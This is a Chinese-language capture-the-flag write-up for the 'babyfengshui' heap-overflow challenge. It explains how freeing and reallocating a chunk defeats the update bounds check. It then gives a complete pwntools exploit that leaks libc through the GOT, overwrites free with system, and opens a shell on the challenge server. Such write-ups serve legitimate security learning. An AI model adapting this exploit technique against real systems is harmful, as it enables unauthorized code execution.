babyfengshui 堆溢出簡單利用

題目:babyfengshui

難度:**

漏洞利用:堆溢出

環境:ubuntu16.04 pwntools LibcSearcher

參考鏈接:傳送1
利用思路:
這道題之前做過。最近刷題老刷棧溢出,感覺很沒意思,就找了堆的題練練手,不然沒什麼進步。

在這裏插入圖片描述
菜單題。
一個個選項分析,發現再update裏面有問題
在這裏插入圖片描述
這句話就是說,length+&description不能超過結構體struct-4的位置。
放圖解釋:
在這裏插入圖片描述
貌似很周到,description不會溢出到struct裏。
但是根據堆的分配機制,我們如果這樣做,先add兩個
在這裏插入圖片描述
我們再把第一個釋放掉,之後再去申請一個特大的description,大小等於第一的全部。如圖。
在這裏插入圖片描述
有沒有發現,在struct2和description2之間有很大的空襲,檢測也失效了,並且我們可以修改struct1裏的&description內容,進而可以任意地址寫了。
接下來直接上圖了。
在這裏插入圖片描述
最後一步就是,update struct1,講free_got改爲system地址,進而在delete(1),觸發shell。
exp:

from pwn import *
from LibcSearcher import * 

#io=process("./babyfengshui")
io=remote("node3.buuoj.cn",28133)
elf=ELF("./babyfengshui")
context.log_level='DEBUG'
def add(size,name,length,text):
    io.sendlineafter("Action:","0")
    io.sendlineafter("size of description:",str(size))
    io.sendlineafter("name:",name)
    io.sendlineafter("text length:",str(length))
    io.sendlineafter("text:",text)
def delete(index):
    io.sendlineafter("Action:","1")
    io.sendlineafter("index:",str(index))
def display(index):
    io.sendlineafter("Action:","2")
    io.sendlineafter("index:",str(index))
def update(index,length,text):
    io.sendlineafter("Action:","3")
    io.sendlineafter("index:",str(index))
    io.sendlineafter("length:",str(length))
    io.sendlineafter("text:",text)
def exit():
    io.sendlineafter("Action;","4")

free_got=elf.got['free']
#gdb.attach(io,"b *0x0804898E")
add(0x80,'aaaa',0x10,'aaaa')#index0 
add(0x20,'bbbb',0x10,'bbbb')#index1 
add(0x20,'dddd',0x10,'/bin/sh\x00')#index2
delete(0)                 #free 0 

add((0x80+0x8+0x80),'cccc',0x10,'cccc')#index3
length=0x80+0x8+0x80+0x8+0x20+0x8+0x8
payload='a'*(length-0x8)+p64(free_got)
update(3,length,payload)
display(1)

io.recvuntil("description: ")
free_addr=u32(io.recv(4))
libc=LibcSearcher("free",free_addr)
sys_addr=(free_addr-libc.dump('free'))+libc.dump('system')

update(1,0x8,p32(sys_addr))
delete(2)
io.sendline("cat flag")
io.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章